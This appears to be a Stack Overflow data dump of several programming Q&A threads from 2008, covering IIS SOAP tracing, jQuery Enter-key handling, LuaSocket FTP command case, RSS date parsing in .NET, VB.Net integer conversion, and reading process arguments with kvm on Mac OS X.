"text": "<p>If you want a use a tool, use WireShark.</p>\n\n<p>Otherwise, the easiest way is to capture \"everything\" (assuming you are using ASMX) is to enable trace on system.net </p>\n\n<p><a href=\"http://blogs.msdn.com/dgorti/archive/2005/09/18/471003.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/dgorti/archive/2005/09/18/471003.aspx</a></p>\n\n<p>If you are using WCF, it has great tracing support and you can use svctraceviewer to view the trace logs. Doesn't sound like you are using WCF though.</p>\n"
},
{
"answer_id": 220363,
"author": "Tony Lee",
"author_id": 5819,
"author_profile": "https://Stackoverflow.com/users/5819",
"pm_score": 1,
"selected": false,
"text": "<p>Have you looked at IIS Request-Based Tracing?: <a href=\"http://technet.microsoft.com/en-us/library/cc786920.aspx\" rel=\"nofollow noreferrer\">http://technet.microsoft.com/en-us/library/cc786920.aspx</a></p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210354",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2660/"
] |
I have a .net web-service hosted in IIS 6.0 that periodically fails with an http 500 because a client connects to it with data that does not match the wsdl.
Things like having an element specified in a method as being of type int and the inbound xml element contains a decimal number.
WSDL element definition:
```
<s:element minOccurs="1"
maxOccurs="1"
form="unqualified" name="ItemCount" type="s:int" >
```
provided element:
```
<ItemCount>1.0</ItemCount>
```
This leaves a 500 error in the iis logs but no information of the soap fault returned or the input data that caused the error.
Currently I have diagnosed several problems with data provided by capturing everything using wireshark but I'd like to know of other options that a perhaps less intrusive.
Is there any way of capturing the data being sent that is causing the 500 errors (hopefully ONLY capturing the data when the 500 occurs)? Possibly by:
* Configuring IIS
* Configuring the web-service
* Changing the code of the web-service
**EDIT** after testing answer provided by tbreffni
The answer that best fitted what I was after tbreffni's - there were several other good responses but the answer allows capture of the payload causing deserialization errors without running something like fiddler or wireshark.
Info on actually getting a SOAP extension to run is a little light so I've included below the steps I found necessary:
* Build the SOAP extension as a .dll as per the [MSDN](http://msdn.microsoft.com/en-us/library/system.web.services.protocols.soapextension.aspx) article
* Add the .dll to the bin directory for the service to trace
* In the web.config of the service to trace add the following to the webServices section, replacing the SOAPTraceExtension.TraceExtension and SOAPTraceExtension to match your extension.
<webServices>
<soapExtensionTypes>
<add type="SOAPTraceExtension.TraceExtension, SOAPTraceExtension" priority="1" group="0"/>
</soapExtensionTypes>
</webServices>
|
You could implement a global exception handler in your web service that logs the details of any exceptions that occur. This is useful for your current problem, plus it's very useful in a production environment as it gives you an insight into how many exceptions are being thrown and by what code.
To implement an exception handler for a .Net web service, you need to create a SOAP extension. See the following [MSDN Article](http://msdn.microsoft.com/en-us/library/system.web.services.protocols.soapextension.aspx) for an example. I've used this approach in several production web services, and it's been invaluable in determining what issues are occurring and where.
|
210,359 |
<p>I have a <code>textbox</code> whose input is being handled by jQuery.</p>
<pre><code>$('input.Search').bind("keyup", updateSearchTextbox);
</code></pre>
<p>When I press <code>Enter</code> in the textbox, I get a postback, which messes everything up. How can I trap that Enter and ignore it?</p>
<p>(Just to preempt one possible suggestion: The textbox has to be an <code><asp:textbox ... /></code> - I can't replace it with an <code><input ... /></code>.)</p>
|
[
{
"answer_id": 210366,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 5,
"selected": true,
"text": "<p>Your browser is automatically submitting the form when you press enter. To cancel this, add return false to your updateSearchTextBox function.</p>\n\n<p>if that doesn't work, try this:</p>\n\n<pre><code><script language=\"JavaScript\">\n\nfunction disableEnterKey(e)\n{\n var key; \n if(window.event)\n key = window.event.keyCode; //IE\n else\n key = e.which; //firefox \n\n return (key != 13);\n}\n\n</script> \n</code></pre>\n\n<p>And in your codebehind:</p>\n\n<pre><code> textbox.Attributes.Add(\"OnKeyPress\",\"return disableEnterKey(event)\");\n</code></pre>\n"
},
{
"answer_id": 210392,
"author": "Anne Porosoff",
"author_id": 28701,
"author_profile": "https://Stackoverflow.com/users/28701",
"pm_score": 1,
"selected": false,
"text": "<p>Ben Nadel has a great blog post on how to do this with JQuery: <a href=\"http://www.bennadel.com/blog/1364-Ask-Ben-Optimizing-Form-Inputs-For-Numeric-Keypad-Usage.htm\" rel=\"nofollow noreferrer\">http://www.bennadel.com/blog/1364-Ask-Ben-Optimizing-Form-Inputs-For-Numeric-Keypad-Usage.htm</a></p>\n"
},
{
"answer_id": 210427,
"author": "Herb Caudill",
"author_id": 239663,
"author_profile": "https://Stackoverflow.com/users/239663",
"pm_score": 0,
"selected": false,
"text": "<p>Thanks to all who responded. Here's my new <code>updateSearchTextbox</code> function, which works perfectly:</p>\n\n<pre><code>updateSearchTextbox = function(e) {\n /// <summary>\n /// Handles keyup event on search textbox\n /// </summary>\n\n if (e.which == \"13\") {\n // update now\n updateConcessions();\n // Don't post back\n return (false);\n } else {\n delayedUpdateConcessions();\n }\n\n}\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210359",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/239663/"
] |
I have a `textbox` whose input is being handled by jQuery.
```
$('input.Search').bind("keyup", updateSearchTextbox);
```
When I press `Enter` in the textbox, I get a postback, which messes everything up. How can I trap that Enter and ignore it?
(Just to preempt one possible suggestion: The textbox has to be an `<asp:textbox ... />` - I can't replace it with an `<input ... />`.)
|
Your browser is automatically submitting the form when you press enter. To cancel this, add return false to your updateSearchTextBox function.
if that doesn't work, try this:
```
<script language="JavaScript">
function disableEnterKey(e)
{
var key;
if(window.event)
key = window.event.keyCode; //IE
else
key = e.which; //firefox
return (key != 13);
}
</script>
```
And in your codebehind:
```
textbox.Attributes.Add("OnKeyPress","return disableEnterKey(event)");
```
|
210,371 |
<p>I've had success with <a href="http://www.tecgraf.puc-rio.br/~diego/professional/luasocket/" rel="nofollow noreferrer">LuaSocket</a>'s TCP facility, but I'm having trouble with its FTP module. I always get a timeout when trying to retrieve a (small) file. I can download the file just fine using Firefox or ftp in passive mode (on Ubuntu Dapper Linux).</p>
<p>I thought it might be that I need LuaSocket to use passive FTP, but then I found that it seems to do that by default. The file I'm trying to retrieve via FTP can be accessed with passive FTP via other programs on my machine, but not via active mode. I found <a href="http://lua-users.org/lists/lua-l/2003-09/msg00217.html" rel="nofollow noreferrer">some talk</a> about "hacking" passive mode support into LuaSocket, and that discussion implies that later versions stopped using passive mode, but my version seems to use passive anyway (I'm using 2.0.1; newest is 2.0.2 and does not appear to have any changes relevant to my use case). I'm a little confused about how that post may relate to my situation, partly because it's very old and LuaSocket's source now bears little resemblance to the code in that discussion).</p>
<p>I've boiled my code down to this:</p>
<pre><code>local ftp = require "socket.ftp"
ftp.TIMEOUT = 10
print(ftp.get("ftp://ftp.us.dell.com/app/dpart.txt"))
</code></pre>
<p>This gives me a timeout. I ran it under <code>strace</code> on Linux (same as <code>ptrace</code> on Solaris). Here's an abridged transcript:</p>
<pre><code>socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
recv(3, "230-Welcome to the Dell FTP site."..., 8192, 0) = 971
send(3, "pasv\r\n", 6, 0) = 6
recv(3, 0x8089a58, 8192, 0) = -1 EAGAIN (Resource temporarily unavailable)
select(4, [3], NULL, NULL, {9, 999934}) = 0 (Timeout)
</code></pre>
<p>There's another site I tried connecting to, but it has a password which I can't post here, but in that case the results were slightly different...I got trace like the above but with <code>select()</code> succeeding at the end, then this:</p>
<pre><code>recv(3, "227 Entering Passive Mode (123,456,789,0,12,34)\r\n", 8192, 0) = 49
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
fcntl64(4, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("123.456.789.0")}, 16) = -1 EINPROGRESS (Operation now in progress)
select(5, [4], [4], NULL, {9, 999694}) = 0 (Timeout)
</code></pre>
<p>Compare this to the trace of my "ftp" program in passive mode (which works fine, though note that it does not set the sockets to nonblocking like LuaSocket does):</p>
<pre><code>socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6
write(5, "PASV\r\n", 6) = 6
read(3, "227 Entering Passive Mode (123,456,789,0,12,34)\r\n", 1024) = 51
connect(6, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("123.456.789.0")}, 16) = 0
</code></pre>
<p>So I've tried LuaSocket against these two different FTP sites with different but similar failures. I also tried it from another machine where active FTP works, and it didn't have any better luck there (presumably because LuaSocket is always using passive mode, from what I can tell by reading the source in <code>socket/ftp.lua</code>).</p>
<p>So can anyone here make the LuaSocket two-liner at the top work? Note that on my machine, active FTP to Dell's site doesn't work (I can connect but as soon as I do <code>ls</code> it disconnects), so if you get LuaSocket to work please also note whether active FTP to Dell's site from another program works on your machine.</p>
|
[
{
"answer_id": 214462,
"author": "Anders Eurenius",
"author_id": 1421,
"author_profile": "https://Stackoverflow.com/users/1421",
"pm_score": 3,
"selected": true,
"text": "<p>Hm. It looks like the problem is that LuaSocket uses \"pasv\" in lower case. I'm going try to figure out a work-around.</p>\n\n<hr>\n\n<p>Hm. Nope, it looks quite elegantly welded shut. The easiest thing to do is probably to copy <em>that particular file</em> to its equivalent place in a hierarchy in an earlier path in LUA_PATH. That is, (usually) make a local copy of the file, e.g. <code>path/to/your/project/socket/ftp.lua</code>.</p>\n\n<p>Then edit the local file:</p>\n\n<pre><code>- self.try(self.tp:command(\"user\", user or USER))\n+ self.try(self.tp:command(\"USER\", user or USER))\n- self.try(self.tp:command(\"pass\", password or PASSWORD))\n+ self.try(self.tp:command(\"PASS\", password or PASSWORD))\n- self.try(self.tp:command(\"pasv\"))\n+ self.try(self.tp:command(\"PASV\"))\n- self.try(self.tp:command(\"port\", arg))\n+ self.try(self.tp:command(\"PORT\", arg))\n- local command = sendt.command or \"stor\"\n+ local command = sendt.command or \"STOR\"\n- self.try(self.tp:command(\"cwd\", dir))\n+ self.try(self.tp:command(\"CWD\", dir))\n- self.try(self.tp:command(\"type\", type))\n+ self.try(self.tp:command(\"TYPE\", type))\n- self.try(self.tp:command(\"quit\"))\n+ self.try(self.tp:command(\"QUIT\"))\n</code></pre>\n\n<p>Perversely, a navelnaut expedition using getfenv, getmetatable, etc didn't seem to be worth it. I consider it a serious problem with the design. (of LuaSocket)</p>\n\n<p>It's worth noting that <a href=\"ftp://ftp.rfc-editor.org/in-notes/rfc959.txt\" rel=\"nofollow noreferrer\">RFC0959</a> uses all-caps commands. (Probably because it's from the 7-bit ASCII era.)</p>\n"
},
{
"answer_id": 272648,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>Note that the server is failing to follow the FTP specification, which states commands are case-insensitive. See RFC959, section 5.3 \"The command codes are four or fewer alphabetic characters.\n Upper and lower case alphabetic characters are to be treated\n identically. Thus, any of the following may represent the\n retrieve command:\n RETR Retr retr ReTr rETr\"</p>\n"
},
{
"answer_id": 273670,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>This problem is now fixed, with the question and first answer a great help.</p>\n\n<p>Luasocket is correct to RFC 959 (first comment here is not right about upper case, see RFC959 section 5.2) </p>\n\n<p>At least Microsoft FTP server is not compliant. There might be others.</p>\n\n<p>The solution is change pasv to PASV and is a workaround for a command case sensitive server. Details are on the Lua email list, where the archive will be web accessible in a few days.</p>\n\n<p>(edit line 59 of ftp.lua)</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210371",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4323/"
] |
I've had success with [LuaSocket](http://www.tecgraf.puc-rio.br/~diego/professional/luasocket/)'s TCP facility, but I'm having trouble with its FTP module. I always get a timeout when trying to retrieve a (small) file. I can download the file just fine using Firefox or ftp in passive mode (on Ubuntu Dapper Linux).
I thought it might be that I need LuaSocket to use passive FTP, but then I found that it seems to do that by default. The file I'm trying to retrieve via FTP can be accessed with passive FTP via other programs on my machine, but not via active mode. I found [some talk](http://lua-users.org/lists/lua-l/2003-09/msg00217.html) about "hacking" passive mode support into LuaSocket, and that discussion implies that later versions stopped using passive mode, but my version seems to use passive anyway (I'm using 2.0.1; newest is 2.0.2 and does not appear to have any changes relevant to my use case). I'm a little confused about how that post may relate to my situation, partly because it's very old and LuaSocket's source now bears little resemblance to the code in that discussion).
I've boiled my code down to this:
```
local ftp = require "socket.ftp"
ftp.TIMEOUT = 10
print(ftp.get("ftp://ftp.us.dell.com/app/dpart.txt"))
```
This gives me a timeout. I ran it under `strace` on Linux (same as `ptrace` on Solaris). Here's an abridged transcript:
```
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
recv(3, "230-Welcome to the Dell FTP site."..., 8192, 0) = 971
send(3, "pasv\r\n", 6, 0) = 6
recv(3, 0x8089a58, 8192, 0) = -1 EAGAIN (Resource temporarily unavailable)
select(4, [3], NULL, NULL, {9, 999934}) = 0 (Timeout)
```
There's another site I tried connecting to, but it has a password which I can't post here, but in that case the results were slightly different...I got trace like the above but with `select()` succeeding at the end, then this:
```
recv(3, "227 Entering Passive Mode (123,456,789,0,12,34)\r\n", 8192, 0) = 49
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
fcntl64(4, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("123.456.789.0")}, 16) = -1 EINPROGRESS (Operation now in progress)
select(5, [4], [4], NULL, {9, 999694}) = 0 (Timeout)
```
Compare this to the trace of my "ftp" program in passive mode (which works fine, though note that it does not set the sockets to nonblocking like LuaSocket does):
```
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6
write(5, "PASV\r\n", 6) = 6
read(3, "227 Entering Passive Mode (123,456,789,0,12,34)\r\n", 1024) = 51
connect(6, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("123.456.789.0")}, 16) = 0
```
So I've tried LuaSocket against these two different FTP sites with different but similar failures. I also tried it from another machine where active FTP works, and it didn't have any better luck there (presumably because LuaSocket is always using passive mode, from what I can tell by reading the source in `socket/ftp.lua`).
So can anyone here make the LuaSocket two-liner at the top work? Note that on my machine, active FTP to Dell's site doesn't work (I can connect but as soon as I do `ls` it disconnects), so if you get LuaSocket to work please also note whether active FTP to Dell's site from another program works on your machine.
|
Hm. It looks like the problem is that LuaSocket uses "pasv" in lower case. I'm going try to figure out a work-around.
---
Hm. Nope, it looks quite elegantly welded shut. The easiest thing to do is probably to copy *that particular file* to its equivalent place in a hierarchy in an earlier path in LUA\_PATH. That is, (usually) make a local copy of the file, e.g. `path/to/your/project/socket/ftp.lua`.
Then edit the local file:
```
- self.try(self.tp:command("user", user or USER))
+ self.try(self.tp:command("USER", user or USER))
- self.try(self.tp:command("pass", password or PASSWORD))
+ self.try(self.tp:command("PASS", password or PASSWORD))
- self.try(self.tp:command("pasv"))
+ self.try(self.tp:command("PASV"))
- self.try(self.tp:command("port", arg))
+ self.try(self.tp:command("PORT", arg))
- local command = sendt.command or "stor"
+ local command = sendt.command or "STOR"
- self.try(self.tp:command("cwd", dir))
+ self.try(self.tp:command("CWD", dir))
- self.try(self.tp:command("type", type))
+ self.try(self.tp:command("TYPE", type))
- self.try(self.tp:command("quit"))
+ self.try(self.tp:command("QUIT"))
```
Perversely, a navelnaut expedition using getfenv, getmetatable, etc didn't seem to be worth it. I consider it a serious problem with the design. (of LuaSocket)
It's worth noting that [RFC0959](ftp://ftp.rfc-editor.org/in-notes/rfc959.txt) uses all-caps commands. (Probably because it's from the 7-bit ASCII era.)
|
210,375 |
<p>I have been attempting to write some routines to read RSS and ATOM feeds using the new routines available in System.ServiceModel.Syndication, but unfortunately the Rss20FeedFormatter bombs out on about half the feeds I try with the following exception:</p>
<blockquote>
<pre><code>An error was encountered when parsing a DateTime value in the XML.
</code></pre>
</blockquote>
<p>This seems to occur whenever the RSS feed expresses the publish date in the following format:</p>
<blockquote>
<p>Thu, 16 Oct 08 14:23:26 -0700</p>
</blockquote>
<p>If the feed expresses the publish date as GMT, things go fine:</p>
<blockquote>
<p>Thu, 16 Oct 08 21:23:26 GMT</p>
</blockquote>
<p>If there's some way to work around this with XMLReaderSettings, I have not found it. Can anyone assist?</p>
|
[
{
"answer_id": 215936,
"author": "smaclell",
"author_id": 22914,
"author_profile": "https://Stackoverflow.com/users/22914",
"pm_score": 2,
"selected": false,
"text": "<p>Interesting. It would looks like the datetime formatting is not one of the ones naturally expected by the datetime parser. After looking at the feed classes it does not look like you can inject in your own formatting convention for the parser and they it likely uses a specific scheme for validating the feel. </p>\n\n<p>You may be able to change how the datetime parser behaves by modifying the <a href=\"http://msdn.microsoft.com/en-us/library/2h3syy57.aspx\" rel=\"nofollow noreferrer\">culture</a>. I have never done it before so I can't say for sure it would work.</p>\n\n<p>Another solution night be to first transform the feed you are trying to read. Likely not the greatest but it could get you around the issue.</p>\n\n<p>Good luck.</p>\n"
},
{
"answer_id": 263137,
"author": "Oppositional",
"author_id": 2029,
"author_profile": "https://Stackoverflow.com/users/2029",
"pm_score": 4,
"selected": true,
"text": "<p>RSS 2.0 formatted syndication feeds utilize the <a href=\"http://www.w3.org/Protocols/rfc822/#z28\" rel=\"noreferrer\">RFC 822 date-time specification</a> when serializing elements like <em>pubDate</em> and <em>lastBuildDate</em>. The RFC 822 date-time specification is unfortunately a very 'flexible' syntax for expressing the time-zone component of a DateTime.</p>\n\n<p><em>Time zone may be indicated in several ways. \"UT\" is Universal Time (formerly called \"Greenwich Mean Time\"); \"GMT\" is permitted as a reference to Universal Time. The military standard uses a single character for each zone. \"Z\" is Universal Time. \"A\" indicates one hour earlier, and \"M\" indicates 12 hours earlier; \"N\" is one hour later, and \"Y\" is 12 hours later. The letter \"J\" is not used. The other remaining two forms are taken from ANSI standard X3.51-1975. One allows explicit indication of the amount of offset from UT; the other uses common 3-character strings for indicating time zones in North America.</em></p>\n\n<p>I believe the issue involves how the <strong>zone</strong> component of the RFC 822 date-time value is being processed. The feed formatter appears to not be handling date-times that utilize a <strong>local differential</strong> to indicate the time zone.</p>\n\n<p>As RFC 1123 extends the RFC 822 specification, you could try using the <a href=\"http://msdn.microsoft.com/en-us/library/system.globalization.datetimeformatinfo.rfc1123pattern.aspx\" rel=\"noreferrer\">DateTimeFormatInfo.RFC1123Pattern</a> (\"r\") to handle converting problamatic date-times, or write your own parsing code for RFC 822 formatted dates. Another option would be to use a third party framework instead of the System.ServiceModel.Syndication namespace classes.</p>\n\n<p>It appears there are some <a href=\"http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=325421\" rel=\"noreferrer\">known issues</a> with date-time parsing and the Rss20FeedFormatter that are in the process of being addressed by Microsoft. </p>\n"
},
{
"answer_id": 2724742,
"author": "CleverPatrick",
"author_id": 22399,
"author_profile": "https://Stackoverflow.com/users/22399",
"pm_score": 5,
"selected": false,
"text": "<p>Based on the workaround posted in the <a href=\"https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=325421&wa=wsignin1.0\" rel=\"nofollow noreferrer\">bug report to Microsoft about this</a> I made an XmlReader specifically for reading SyndicationFeeds that have non-standard dates. </p>\n\n<p>The code below is slightly different than the code in the workaround at Microsoft's site. It also takes <a href=\"https://stackoverflow.com/questions/210375/problems-reading-rss-with-c-and-net-3-5/263137#263137\">Oppositional's advice</a> on using the RFC 1123 pattern.</p>\n\n<p>Instead of simply calling XmlReader.Create() you need to create the XmlReader from a Stream. I use the WebClient class to get that stream:</p>\n\n<pre><code>WebClient client = new WebClient();\nusing (XmlReader reader = new SyndicationFeedXmlReader(client.OpenRead(feedUrl)))\n{\n SyndicationFeed feed = SyndicationFeed.Load(reader);\n ....\n //do things with the feed\n ....\n}\n</code></pre>\n\n<p>Below is the code for the SyndicationFeedXmlReader:</p>\n\n<pre><code>public class SyndicationFeedXmlReader : XmlTextReader\n{\n readonly string[] Rss20DateTimeHints = { \"pubDate\" };\n readonly string[] Atom10DateTimeHints = { \"updated\", \"published\", \"lastBuildDate\" };\n private bool isRss2DateTime = false;\n private bool isAtomDateTime = false;\n\n public SyndicationFeedXmlReader(Stream stream) : base(stream) { }\n\n public override bool IsStartElement(string localname, string ns)\n {\n isRss2DateTime = false;\n isAtomDateTime = false;\n\n if (Rss20DateTimeHints.Contains(localname)) isRss2DateTime = true;\n if (Atom10DateTimeHints.Contains(localname)) isAtomDateTime = true;\n\n return base.IsStartElement(localname, ns);\n }\n\n public override string ReadString()\n {\n string dateVal = base.ReadString();\n\n try\n {\n if (isRss2DateTime)\n {\n MethodInfo objMethod = typeof(Rss20FeedFormatter).GetMethod(\"DateFromString\", BindingFlags.NonPublic | BindingFlags.Static);\n Debug.Assert(objMethod != null);\n objMethod.Invoke(null, new object[] { dateVal, this });\n\n }\n if (isAtomDateTime)\n {\n MethodInfo objMethod = typeof(Atom10FeedFormatter).GetMethod(\"DateFromString\", BindingFlags.NonPublic | BindingFlags.Instance);\n Debug.Assert(objMethod != null);\n objMethod.Invoke(new Atom10FeedFormatter(), new object[] { dateVal, this });\n }\n }\n catch (TargetInvocationException)\n {\n DateTimeFormatInfo dtfi = CultureInfo.CurrentCulture.DateTimeFormat;\n return DateTimeOffset.UtcNow.ToString(dtfi.RFC1123Pattern);\n }\n\n return dateVal;\n\n }\n\n}\n</code></pre>\n\n<p>Again, this is copied almost exactly from the workaround posted on the Microsoft site in the link above. ...except that this one works for me, and the one posted at Microsoft did not.</p>\n\n<p><strong>NOTE</strong>: One bit of customization you may need to do is in the two arrays at the start of the class. Depending on any extraneous fields your non-standard feed might add, you may need to add more items to those arrays. </p>\n"
},
{
"answer_id": 3697819,
"author": "0x2D",
"author_id": 303696,
"author_profile": "https://Stackoverflow.com/users/303696",
"pm_score": 1,
"selected": false,
"text": "<p>A similar problem still persists in .NET 4.0 and I decided to work with <strong>XDocument</strong> instead of directly invoking <strong>SyndicationFeed</strong>. I described the applied method (specific to my project <a href=\"http://dennisdel.com/?p=342\" rel=\"nofollow noreferrer\">here</a>). Can't say it is the best solution, but it certainly can be considered a \"backup plan\" in case <strong>SyndicationFeed</strong> fails.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210375",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4253/"
] |
I have been attempting to write some routines to read RSS and ATOM feeds using the new routines available in System.ServiceModel.Syndication, but unfortunately the Rss20FeedFormatter bombs out on about half the feeds I try with the following exception:
>
>
> ```
> An error was encountered when parsing a DateTime value in the XML.
>
> ```
>
>
This seems to occur whenever the RSS feed expresses the publish date in the following format:
>
> Thu, 16 Oct 08 14:23:26 -0700
>
>
>
If the feed expresses the publish date as GMT, things go fine:
>
> Thu, 16 Oct 08 21:23:26 GMT
>
>
>
If there's some way to work around this with XMLReaderSettings, I have not found it. Can anyone assist?
|
RSS 2.0 formatted syndication feeds utilize the [RFC 822 date-time specification](http://www.w3.org/Protocols/rfc822/#z28) when serializing elements like *pubDate* and *lastBuildDate*. The RFC 822 date-time specification is unfortunately a very 'flexible' syntax for expressing the time-zone component of a DateTime.
*Time zone may be indicated in several ways. "UT" is Universal Time (formerly called "Greenwich Mean Time"); "GMT" is permitted as a reference to Universal Time. The military standard uses a single character for each zone. "Z" is Universal Time. "A" indicates one hour earlier, and "M" indicates 12 hours earlier; "N" is one hour later, and "Y" is 12 hours later. The letter "J" is not used. The other remaining two forms are taken from ANSI standard X3.51-1975. One allows explicit indication of the amount of offset from UT; the other uses common 3-character strings for indicating time zones in North America.*
I believe the issue involves how the **zone** component of the RFC 822 date-time value is being processed. The feed formatter appears to not be handling date-times that utilize a **local differential** to indicate the time zone.
As RFC 1123 extends the RFC 822 specification, you could try using the [DateTimeFormatInfo.RFC1123Pattern](http://msdn.microsoft.com/en-us/library/system.globalization.datetimeformatinfo.rfc1123pattern.aspx) ("r") to handle converting problamatic date-times, or write your own parsing code for RFC 822 formatted dates. Another option would be to use a third party framework instead of the System.ServiceModel.Syndication namespace classes.
It appears there are some [known issues](http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=325421) with date-time parsing and the Rss20FeedFormatter that are in the process of being addressed by Microsoft.
|
210,383 |
<p>If I have a VB.Net function that returns an Int32, but uses an unsigned int (UInt32) for calculations, etc. How can I convert a variable "MyUintVar32" with a value of say "3392918397 into a standard Int32 in VB.Net? </p>
<p>In c# if I just do a "return (int)(MyUintVar32);", I get -902048899, not an error.</p>
<p>I've tried several different methods. What is the difference in the way c# handles these conversions versus VB.Net?</p>
|
[
{
"answer_id": 210401,
"author": "Juanma",
"author_id": 3730,
"author_profile": "https://Stackoverflow.com/users/3730",
"pm_score": 2,
"selected": false,
"text": "<p>It's not an optimal solution, but you can use BitConverter to get a byte array from the uint and convert the byte array to int.</p>\n\n<pre><code>Dim myUInt32 As UInt32 = 3392918397\nDim myInt32 As Int32 = BitConverter.ToInt32(BitConverter.GetBytes(myUInt32), 0)\n</code></pre>\n"
},
{
"answer_id": 210402,
"author": "dreamlax",
"author_id": 10320,
"author_profile": "https://Stackoverflow.com/users/10320",
"pm_score": 2,
"selected": false,
"text": "<p>3392918397 is too big to fit into a signed 32-bit integer, that's why it is coming out negative, because the most significant bit of 3392918397 is set.</p>\n\n<p>1100 1010 0011 1011 1101 0011 0111 1101</p>\n\n<p>If you want to maintain integers of this proportion inside a signed integer type, you'll need to use the next size up, a 64-bit signed integer.</p>\n"
},
{
"answer_id": 210405,
"author": "Adam Rosenfield",
"author_id": 9530,
"author_profile": "https://Stackoverflow.com/users/9530",
"pm_score": 0,
"selected": false,
"text": "<p>You can't convert 3392918397 into an Int32 since that number is too large to fit in 31 bits. Why not just change the function to return a UInt32?</p>\n"
},
{
"answer_id": 210424,
"author": "jim",
"author_id": 27628,
"author_profile": "https://Stackoverflow.com/users/27628",
"pm_score": -1,
"selected": false,
"text": "<p>Or after doing the Uint32 work check it against MAXINT and 0. </p>\n\n<p>If > MAXINT and < 0 then you're ok. If not you \"overflowed\" and should throw an exception.</p>\n\n<p>I don't remember if MAXINT is defined. You can use: 2^31 - 1 instead.</p>\n"
},
{
"answer_id": 5516475,
"author": "user687979",
"author_id": 687979,
"author_profile": "https://Stackoverflow.com/users/687979",
"pm_score": 3,
"selected": false,
"text": "<p>I realize this is an old post, but the question has not been answered. Other people my want to know:</p>\n\n<pre><code>Dim myUInt32 As UInt32 = 3392918397 \nDim myInt32 As Int32 = Convert.ToInt32(myUInt32.ToString(\"X\"), 16) \n</code></pre>\n\n<p>the reverse operation: </p>\n\n<pre><code>myUInt32 = Convert.ToUInt32(myInt32.ToString(\"X\"), 16)\n</code></pre>\n\n<p>Also, one can create a union structure to easily convert between Int32 and UInt32: </p>\n\n<pre><code>Imports System.Runtime.InteropServices\n\n<StructLayout(LayoutKind.Explicit)> _ \n Public Structure UnionInt32 \n <FieldOffset(0)> _ \n Public IntValue As Int32 \n <FieldOffset(0)> _ \n Public UIntValue As UInt32 \nEnd Structure \n\nDim MyUnionInt32 as UnionInt32 \nMyUnionInt32.UIntValue = 3392918397 \nDim IntVal as Int32 = MyUnionInt32.UIntValue '= -902048899 \n</code></pre>\n\n<p>the reverse operation: </p>\n\n<pre><code>MyUnionInt32.IntValue = -902048000 \nDim UIntVal as UInt32 = MyUnionInt32.UIntValue '= 3392919296 \n</code></pre>\n\n<p>Cheers, TENware</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210383",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
If I have a VB.Net function that returns an Int32, but uses an unsigned int (UInt32) for calculations, etc. How can I convert a variable "MyUintVar32" with a value of say "3392918397 into a standard Int32 in VB.Net?
In c# if I just do a "return (int)(MyUintVar32);", I get -902048899, not an error.
I've tried several different methods. What is the difference in the way c# handles these conversions versus VB.Net?
|
I realize this is an old post, but the question has not been answered. Other people my want to know:
```
Dim myUInt32 As UInt32 = 3392918397
Dim myInt32 As Int32 = Convert.ToInt32(myUInt32.ToString("X"), 16)
```
the reverse operation:
```
myUInt32 = Convert.ToUInt32(myInt32.ToString("X"), 16)
```
Also, one can create a union structure to easily convert between Int32 and UInt32:
```
Imports System.Runtime.InteropServices
<StructLayout(LayoutKind.Explicit)> _
Public Structure UnionInt32
<FieldOffset(0)> _
Public IntValue As Int32
<FieldOffset(0)> _
Public UIntValue As UInt32
End Structure
Dim MyUnionInt32 as UnionInt32
MyUnionInt32.UIntValue = 3392918397
Dim IntVal as Int32 = MyUnionInt32.UIntValue '= -902048899
```
the reverse operation:
```
MyUnionInt32.IntValue = -902048000
Dim UIntVal as UInt32 = MyUnionInt32.UIntValue '= 3392919296
```
Cheers, TENware
|
210,397 |
<p>I want to get other process' argv like ps.</p>
<p>I'm using Mac OS X 10.4.11 running on Intel or PowerPC.</p>
<p>First, I read code of ps and man kvm, then I wrote some C code.</p>
<pre><code>#include <kvm.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <paths.h>
int
main(void) {
char errbuf[1024];
kvm_t *kd = kvm_openfiles(_PATH_DEVNULL, NULL, _PATH_DEVNULL, O_RDONLY, errbuf);
int num_procs;
if (!kd) { fprintf(stderr, "kvm_openfiles failed : %s\n", errbuf); return 0; }
struct kinfo_proc *proc_table = kvm_getprocs(kd, KERN_PROC_ALL, 0, &num_procs);
for (int i = 0; i < num_procs; i++) {
struct kinfo_proc *pproc = &proc_table[i];
char **proc_argv = kvm_getargv(kd, pproc, 0);
printf("%p\n", proc_argv);
}
kvm_close(kd);
return 0;
}
